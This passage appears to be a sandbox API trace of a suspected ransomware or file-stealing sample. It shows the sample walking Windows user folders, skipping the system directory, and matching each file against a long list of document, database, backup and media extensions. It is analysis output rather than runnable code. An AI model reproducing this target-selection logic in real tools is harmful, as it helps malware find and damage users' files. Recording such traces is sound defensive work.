lstrcmpiW (lpString1=".erf", lpString2=".lnk") returned -1 [0261.081] lstrlenW (lpString=".exr") returned 4 [0261.081] lstrcmpiW (lpString1=".exr", lpString2=".lnk") returned -1 [0261.081] lstrlenW (lpString=".f4v") returned 4 [0261.081] lstrcmpiW (lpString1=".f4v", lpString2=".lnk") returned -1 [0261.081] lstrlenW (lpString=".fido") returned 5 [0261.081] lstrcmpiW (lpString1=".fido", lpString2="p.lnk") returned -1 [0261.081] lstrlenW (lpString=".flm") returned 4 [0261.081] lstrcmpiW (lpString1=".flm", lpString2=".lnk") returned -1 [0261.081] lstrlenW (lpString=".flv") returned 4 [0261.081] lstrcmpiW (lpString1=".flv", lpString2=".lnk") returned -1 [0261.081] lstrlenW (lpString=".frm") returned 4 [0261.081] lstrcmpiW (lpString1=".frm", lpString2=".lnk") returned -1 [0261.081] lstrlenW (lpString=".fxg") returned 4 [0261.081] lstrcmpiW (lpString1=".fxg", lpString2=".lnk") returned -1 [0261.081] lstrlenW (lpString=".geo") returned 4 [0261.081] lstrcmpiW (lpString1=".geo", lpString2=".lnk") returned -1 [0261.081] lstrlenW (lpString=".gif") returned 4 [0261.081] lstrcmpiW (lpString1=".gif", lpString2=".lnk") returned -1 [0261.081] lstrlenW (lpString=".grs") returned 4 [0261.081] lstrcmpiW (lpString1=".grs", lpString2=".lnk") returned -1 [0261.081] lstrlenW (lpString=".gz") returned 3 [0261.081] lstrcmpiW (lpString1=".gz", lpString2="lnk") returned -1 [0261.081] lstrlenW (lpString=".h") returned 2 [0261.081] lstrcmpiW (lpString1=".h", lpString2="nk") returned -1 [0261.081] lstrlenW (lpString=".hdr") returned 4 [0261.081] lstrcmpiW (lpString1=".hdr", lpString2=".lnk") returned -1 [0261.081] lstrlenW (lpString=".hpp") returned 4 [0261.081] lstrcmpiW (lpString1=".hpp", lpString2=".lnk") returned -1 [0261.081] lstrlenW (lpString=".hta") returned 4 [0261.081] lstrcmpiW (lpString1=".hta", lpString2=".lnk") returned -1 [0261.081] lstrlenW (lpString=".htc") returned 4 [0261.082] lstrcmpiW (lpString1=".htc", lpString2=".lnk") returned -1 [0261.082] FindNextFileW (in: hFindFile=0x3af1360, lpFindFileData=0x37df58c | out: lpFindFileData=0x37df58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0261.082] FindNextFileW (in: hFindFile=0x3af1360, lpFindFileData=0x37df58c | out: lpFindFileData=0x37df58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1 [0261.082] FindNextFileW (in: hFindFile=0x3af1360, lpFindFileData=0x37df58c | out: lpFindFileData=0x37df58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0 [0261.082] FindClose (in: hFindFile=0x3af1360 | out: hFindFile=0x3af1360) returned 1 [0261.083] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x3ad00b0 | out: hHeap=0x530000) returned 1 [0261.083] FindNextFileW (in: hFindFile=0x3af13a0, lpFindFileData=0x37df808 | out: lpFindFileData=0x37df808*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0261.083] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfffe) returned 0x3ad00b0 [0261.083] lstrlenW (lpString="C:\\Users\\Default\\Local Settings") returned 31 [0261.083] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Local Settings\\*", lpFindFileData=0x37df58c | out: lpFindFileData=0x37df58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="ธX\x0e")) returned 0xffffffff [0261.083] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x3ad00b0 | out: hHeap=0x530000) returned 1 [0261.083] FindNextFileW (in: hFindFile=0x3af13a0, lpFindFileData=0x37df808 | out: lpFindFileData=0x37df808*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0261.083] lstrlenW (lpString="C:\\Users\\Default\\Music") returned 22 [0261.083] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Users\\Default\\Music") returned 1 [0261.083] lstrlenW (lpString="Music") returned 5 [0261.083] lstrcmpiW (lpString1="C:\\Windows", lpString2="Music") returned -1 [0261.083] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfffe) returned 0x3ad00b0 [0261.083] lstrlenW (lpString="C:\\Users\\Default\\Music") returned 22 [0261.083] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Music\\*", lpFindFileData=0x37df58c | out: lpFindFileData=0x37df58c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3af1360 [0261.083] FindNextFileW (in: hFindFile=0x3af1360, lpFindFileData=0x37df58c | out: lpFindFileData=0x37df58c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.083] FindNextFileW (in: hFindFile=0x3af1360, lpFindFileData=0x37df58c | out: lpFindFileData=0x37df58c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0261.083] lstrlenW (lpString="desktop.ini") returned 11 [0261.083] lstrlenW (lpString=".1cd") returned 4 [0261.083] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0261.084] lstrlenW (lpString=".3ds") returned 4 [0261.084] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0261.084] lstrlenW (lpString=".3fr") returned 4 [0261.084] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0261.084] lstrlenW (lpString=".3g2") returned 4 [0261.084] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0261.084] lstrlenW (lpString=".3gp") returned 4 [0261.084] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0261.084] lstrlenW (lpString=".7z") returned 3 [0261.084] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0261.084] lstrlenW (lpString=".accda") returned 6 [0261.084] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0261.084] lstrlenW (lpString=".accdb") returned 6 [0261.084] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0261.084] lstrlenW (lpString=".accdc") returned 6 [0261.084] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0261.084] lstrlenW (lpString=".accde") returned 6 [0261.084] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0261.084] lstrlenW (lpString=".accdt") returned 6 [0261.084] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0261.084] lstrlenW (lpString=".accdw") returned 6 [0261.084] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0261.084] lstrlenW (lpString=".adb") returned 4 [0261.084] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0261.084] lstrlenW (lpString=".adp") returned 4 [0261.084] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0261.084] lstrlenW (lpString=".ai") returned 3 [0261.084] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0261.084] lstrlenW (lpString=".ai3") returned 4 [0261.084] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0261.084] lstrlenW (lpString=".ai4") returned 4 [0261.084] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0261.084] lstrlenW (lpString=".ai5") returned 4 [0261.084] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0261.084] lstrlenW (lpString=".ai6") returned 4 [0261.084] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0261.084] lstrlenW (lpString=".ai7") returned 4 [0261.084] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0261.085] lstrlenW (lpString=".ai8") returned 4 [0261.085] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0261.085] lstrlenW (lpString=".anim") returned 5 [0261.085] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0261.085] lstrlenW (lpString=".arw") returned 4 [0261.085] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0261.085] lstrlenW (lpString=".as") returned 3 [0261.085] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0261.085] lstrlenW (lpString=".asa") returned 4 [0261.085] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0261.085] lstrlenW (lpString=".asc") returned 4 [0261.085] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0261.085] lstrlenW (lpString=".ascx") returned 5 [0261.085] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0261.085] lstrlenW (lpString=".asm") returned 4 [0261.085] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0261.085] lstrlenW (lpString=".asmx") returned 5 [0261.085] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0261.085] lstrlenW (lpString=".asp") returned 4 [0261.085] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0261.085] lstrlenW (lpString=".aspx") returned 5 [0261.085] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0261.085] lstrlenW (lpString=".asr") returned 4 [0261.085] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0261.085] lstrlenW (lpString=".asx") returned 4 [0261.085] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0261.085] lstrlenW (lpString=".avi") returned 4 [0261.085] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0261.085] lstrlenW (lpString=".avs") returned 4 [0261.085] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0261.085] lstrlenW (lpString=".backup") returned 7 [0261.085] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0261.085] lstrlenW (lpString=".bak") returned 4 [0261.085] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0261.085] lstrlenW (lpString=".bay") returned 4 [0261.085] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0261.085] lstrlenW (lpString=".bd") returned 3 [0261.085] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0261.086] lstrlenW (lpString=".bin") returned 4 [0261.086] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0261.086] lstrlenW (lpString=".bmp") returned 4 [0261.086] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0261.086] lstrlenW (lpString=".bz2") returned 4 [0261.086] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0261.086] lstrlenW (lpString=".c") returned 2 [0261.086] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0261.086] lstrlenW (lpString=".cdr") returned 4 [0261.086] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0261.086] lstrlenW (lpString=".cer") returned 4 [0261.086] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0261.086] lstrlenW (lpString=".cf") returned 3 [0261.086] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0261.086] lstrlenW (lpString=".cfc") returned 4 [0261.086] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0261.086] lstrlenW (lpString=".cfm") returned 4 [0261.086] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0261.086] lstrlenW (lpString=".cfml") returned 5 [0261.086] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0261.086] lstrlenW (lpString=".cfu") returned 4 [0261.086] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0261.086] lstrlenW (lpString=".chm") returned 4 [0261.086] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0261.086] lstrlenW (lpString=".cin") returned 4 [0261.086] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0261.086] lstrlenW (lpString=".class") returned 6 [0261.086] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0261.086] lstrlenW (lpString=".clx") returned 4 [0261.086] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0261.086] lstrlenW (lpString=".config") returned 7 [0261.086] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0261.086] lstrlenW (lpString=".cpp") returned 4 [0261.086] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0261.086] lstrlenW (lpString=".cr2") returned 4 [0261.086] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0261.086] lstrlenW (lpString=".crt") returned 4 [0261.113] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0261.113] lstrlenW (lpString=".crw") returned 4 [0261.113] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0261.113] lstrlenW (lpString=".cs") returned 3 [0261.113] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0261.113] lstrlenW (lpString=".css") returned 4 [0261.113] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0261.113] lstrlenW (lpString=".csv") returned 4 [0261.113] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0261.113] lstrlenW (lpString=".cub") returned 4 [0261.113] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0261.113] lstrlenW (lpString=".dae") returned 4 [0261.113] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0261.113] lstrlenW (lpString=".dat") returned 4 [0261.113] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0261.113] lstrlenW (lpString=".db") returned 3 [0261.113] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0261.113] lstrlenW (lpString=".dbf") returned 4 [0261.113] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0261.113] lstrlenW (lpString=".dbx") returned 4 [0261.113] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0261.113] lstrlenW (lpString=".dc3") returned 4 [0261.113] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0261.113] lstrlenW (lpString=".dcm") returned 4 [0261.113] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0261.113] lstrlenW (lpString=".dcr") returned 4 [0261.113] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0261.113] lstrlenW (lpString=".der") returned 4 [0261.113] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0261.113] lstrlenW (lpString=".dib") returned 4 [0261.114] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0261.114] lstrlenW (lpString=".dic") returned 4 [0261.114] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0261.114] lstrlenW (lpString=".dif") returned 4 [0261.114] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0261.114] lstrlenW (lpString=".divx") returned 5 [0261.114] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0261.114] lstrlenW (lpString=".djvu") returned 5 [0261.114] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0261.114] lstrlenW (lpString=".dng") returned 4 [0261.114] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0261.114] lstrlenW (lpString=".doc") returned 4 [0261.114] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0261.114] lstrlenW (lpString=".docm") returned 5 [0261.114] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0261.114] lstrlenW (lpString=".docx") returned 5 [0261.114] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0261.114] lstrlenW (lpString=".dot") returned 4 [0261.114] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0261.114] lstrlenW (lpString=".dotm") returned 5 [0261.114] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0261.114] lstrlenW (lpString=".dotx") returned 5 [0261.114] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0261.114] lstrlenW (lpString=".dpx") returned 4 [0261.114] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0261.114] lstrlenW (lpString=".dqy") returned 4 [0261.114] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0261.114] lstrlenW (lpString=".dsn") returned 4 [0261.114] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0261.114] lstrlenW (lpString=".dt") returned 3 [0261.114] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0261.114] lstrlenW (lpString=".dtd") returned 4 [0261.114] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0261.114] lstrlenW (lpString=".dwg") returned 4 [0261.114] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0261.114] lstrlenW (lpString=".dwt") returned 4 [0261.114] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0261.114] lstrlenW (lpString=".dx") returned 3 [0261.115] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0261.115] lstrlenW (lpString=".dxf") returned 4 [0261.115] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0261.115] lstrlenW (lpString=".edml") returned 5 [0261.115] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0261.115] lstrlenW (lpString=".efd") returned 4 [0261.115] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0261.115] lstrlenW (lpString=".elf") returned 4 [0261.115] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0261.115] lstrlenW (lpString=".emf") returned 4 [0261.115] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0261.115] lstrlenW (lpString=".emz") returned 4 [0261.115] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0261.115] lstrlenW (lpString=".epf") returned 4 [0261.115] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0261.115] lstrlenW (lpString=".eps") returned 4 [0261.115] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0261.115] lstrlenW (lpString=".epsf") returned 5 [0261.115] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0261.115] lstrlenW (lpString=".epsp") returned 5 [0261.115] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0261.115] lstrlenW (lpString=".erf") returned 4 [0261.115] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0261.115] lstrlenW (lpString=".exr") returned 4 [0261.115] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0261.115] lstrlenW (lpString=".f4v") returned 4 [0261.115] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0261.115] lstrlenW (lpString=".fido") returned 5 [0261.115] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0261.115] lstrlenW (lpString=".flm") returned 4 [0261.115] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0261.115] lstrlenW (lpString=".flv") returned 4 [0261.115] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0261.115] lstrlenW (lpString=".frm") returned 4 [0261.115] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0261.115] lstrlenW (lpString=".fxg") returned 4 [0261.115] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0261.116] lstrlenW (lpString=".geo") returned 4 [0261.116] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0261.116] lstrlenW (lpString=".gif") returned 4 [0261.116] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0261.116] lstrlenW (lpString=".grs") returned 4 [0261.116] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0261.116] lstrlenW (lpString=".gz") returned 3 [0261.116] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0261.116] lstrlenW (lpString=".h") returned 2 [0261.116] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0261.116] lstrlenW (lpString=".hdr") returned 4 [0261.116] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0261.116] lstrlenW (lpString=".hpp") returned 4 [0261.116] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0261.116] lstrlenW (lpString=".hta") returned 4 [0261.116] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0261.116] lstrlenW (lpString=".htc") returned 4 [0261.116] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0261.116] lstrlenW (lpString=".htm") returned 4 [0261.116] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0261.116] lstrlenW (lpString=".html") returned 5 [0261.116] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0261.116] lstrlenW (lpString=".icb") returned 4 [0261.116] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0261.116] lstrlenW (lpString=".ics") returned 4 [0261.116] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0261.116] lstrlenW (lpString=".iff") returned 4 [0261.116] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0261.116] lstrlenW (lpString=".inc") returned 4 [0261.116] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0261.116] lstrlenW (lpString=".indd") returned 5 [0261.116] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0261.116] lstrlenW (lpString=".ini") returned 4 [0261.116] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0261.116] FindNextFileW (in: hFindFile=0x3af1360, lpFindFileData=0x37df58c | out: lpFindFileData=0x37df58c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0261.116] FindClose (in: hFindFile=0x3af1360 | out: hFindFile=0x3af1360) returned 1 [0261.117] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x3ad00b0 | out: hHeap=0x530000) returned 1 [0261.117] FindNextFileW (in: hFindFile=0x3af13a0, lpFindFileData=0x37df808 | out: lpFindFileData=0x37df808*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0261.117] lstrlenW (lpString="C:\\Users\\Default\\My Documents") returned 29 [0261.117] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Users\\Default\\My Documents") returned 1 [0261.117] lstrlenW (lpString="My Documents") returned 12 [0261.117] lstrcmpiW (lpString1="C:\\Windows", lpString2="My Documents") returned -1 [0261.117] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfffe) returned 0x3ad00b0 [0261.117] lstrlenW (lpString="C:\\Users\\Default\\My Documents") returned 29 [0261.117] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\My Documents\\*", lpFindFileData=0x37df58c | out: lpFindFileData=0x37df58c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="ธX\x0c")) returned 0xffffffff [0261.117] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x3ad00b0 | out: hHeap=0x530000) returned 1 [0261.117] FindNextFileW (in: hFindFile=0x3af13a0, lpFindFileData=0x37df808 | out: lpFindFileData=0x37df808*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0261.117] lstrlenW (lpString="C:\\Users\\Default\\NetHood") returned 24 [0261.117] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Users\\Default\\NetHood") returned 1 [0261.117] lstrlenW (lpString="NetHood") returned 7 [0261.117] lstrcmpiW (lpString1="C:\\Windows", lpString2="NetHood") returned -1 [0261.117] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfffe) returned 0x3ad00b0 [0261.117] lstrlenW (lpString="C:\\Users\\Default\\NetHood") returned 24 [0261.117] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\NetHood\\*", lpFindFileData=0x37df58c | out: lpFindFileData=0x37df58c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, 